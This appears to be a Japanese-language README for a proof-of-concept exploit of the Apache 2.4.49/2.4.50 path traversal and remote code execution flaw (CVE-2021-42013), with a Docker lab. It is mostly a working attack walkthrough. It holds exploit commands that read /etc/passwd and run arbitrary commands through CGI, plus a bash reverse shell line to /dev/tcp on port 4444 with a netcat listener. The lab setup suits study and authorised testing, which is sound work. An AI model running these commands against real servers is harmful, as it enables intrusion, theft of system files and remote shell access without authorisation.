
Apache 2.4.50 のパストラバーサルおよびリモートコード実行 (CVE-2021-42013) に対する概念実証エクスプロイトで、Docker ラボとリバースシェルペイロードを備え、許可されたセキュリティテスト向け。
⚠️ 教育および許可されたセキュリティ研究目的のみ
元のPoC作成者であるWalnut Security Services Pvt. Ltdに深く感謝します。
攻撃者はパストラバーサル攻撃を使用して、Aliasのようなディレクティブで設定されたディレクトリ外のファイルにURLをマッピングする可能性があります。これらのディレクトリ外のファイルが通常のデフォルト設定「require all denied」で保護されていない場合、これらのリクエストは成功する可能性があります。また、これらのエイリアスされたパスでCGIスクリプトが有効になっている場合、リモートコード実行が可能になる可能性があります。この問題は、Apache 2.4.49およびApache 2.4.50にのみ影響し、以前のバージョンには影響しません。
まず、リポジトリをクローンします
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
ディレクトリを変更します
cd CVE-2021-42013
脆弱性コンテナをビルドします
docker build -t CVE-2021-42013 .
一時的なコンテナを実行します
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
コンテナのIPアドレスを確認します
docker inspect CVE-2021-42013 | grep "IPAddress"
スクリプトに実行権限を付与します
chmod +x cve-2021-42013.sh
パストラバーサルをテストして確認するには、有効なディレクトリを見つける必要があります。この場合、/iconsが設定されています。次のコマンドを実行すると、パストラバーサルの脆弱性がトリガーされ、/etc/passwdの内容が出力されます。
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
リモートコード実行をテストして確認するには、CGIが設定され有効になっている必要があります(このケースでは有効です)。次のコマンドを実行すると、リモートコード実行がトリガーされ、idコマンドの出力が表示されます。
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
攻撃者の視点から見ると、リモートコード実行はインタラクティブシェルへのアクセスを得るために重要です。次のコマンドを実行すると、bashベースの従来のTCPリバースシェルが攻撃者のシステムのポート4444/tcpにトリガーされます。
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444